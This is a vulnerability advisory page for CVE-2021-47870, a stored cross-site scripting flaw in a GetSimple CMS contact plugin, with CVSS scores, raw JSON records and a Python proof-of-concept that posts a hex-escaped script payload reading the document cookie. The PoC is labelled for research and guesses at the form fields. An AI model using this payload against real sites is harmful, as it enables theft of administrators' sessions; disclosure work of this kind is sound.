Security Vulnerability Report
中文
CVE-2021-47870 CVSS 5.4 MEDIUM

CVE-2021-47870

Published: 2026-01-21 18:16:19
Last Modified: 2026-05-12 22:16:31

Description

GetSimple CMS My SMTP Contact Plugin 1.1.2 suffers from a Stored Cross-Site Scripting (XSS) vulnerability. The plugin attempts to sanitize user input using htmlspecialchars(), but this can be bypassed by passing dangerous characters as escaped hex bytes. This allows attackers to inject arbitrary client-side code that executes in the administrator's browser when visiting a malicious page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:get-simple:getsimplecms:1.1.2:*:*:*:*:*:*:* - VULNERABLE
My SMTP Contact Plugin <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47870 PoC - Stored XSS in GetSimple CMS My SMTP Contact Plugin # Target: GetSimple CMS with My SMTP Contact Plugin <= 1.1.2 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # XSS payload using hex encoding to bypass htmlspecialchars() # The plugin filters < and > but hex encoded values bypass this xss_payload = '\\x3cscript\\x3ealert(document.cookie)\\x3c/script\\x3e' # Data to submit (adjust parameters based on plugin's actual form fields) data = { 'name': 'Attacker', 'email': '[email protected]', 'subject': xss_payload, 'message': 'Test XSS payload' } try: # Submit the malicious form data response = requests.post(f'{target_url}/plugins/my-smtp-contact/', data=data, timeout=10) if response.status_code == 200: print('[+] XSS payload submitted successfully') print('[+] When admin visits the page, the XSS will execute') print(f'[+] Payload: {xss_payload}') else: print('[-] Failed to submit payload') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47870", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:19.423", "lastModified": "2026-05-12T22:16:31.033", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GetSimple CMS My SMTP Contact Plugin 1.1.2 suffers from a Stored Cross-Site Scripting (XSS) vulnerability. The plugin attempts to sanitize user input using htmlspecialchars(), but this can be bypassed by passing dangerous characters as escaped hex bytes. This allows attackers to inject arbitrary client-side code that executes in the administrator's browser when visiting a malicious page."}, {"lang": "es", "value": "GetSimple CMS My SMTP Contact Plugin 1.1.2 sufre de una vulnerabilidad de Cross-Site Scripting Almacenado (XSS). El plugin intenta sanear la entrada del usuario usando htmlspecialchars(), pero esto puede ser eludido al pasar caracteres peligrosos como bytes hexadecimales escapados. Esto permite a los atacantes inyectar código arbitrario del lado del cliente que se ejecuta en el navegador del administrador al visitar una página maliciosa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:get-simple:getsimplecms:1.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "AFAD6649-3FFE-4EBC-9AB6-89BCB1A586A0"}]}]}], "references": [{"url": "http://get-simple.info", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/GetSimpleCMS/GetSimpleCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/boku7/gsSMTP-Csrf2Xss2RCE/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/49798", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/getsimple-cms-my-smtp-contact-plugin-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}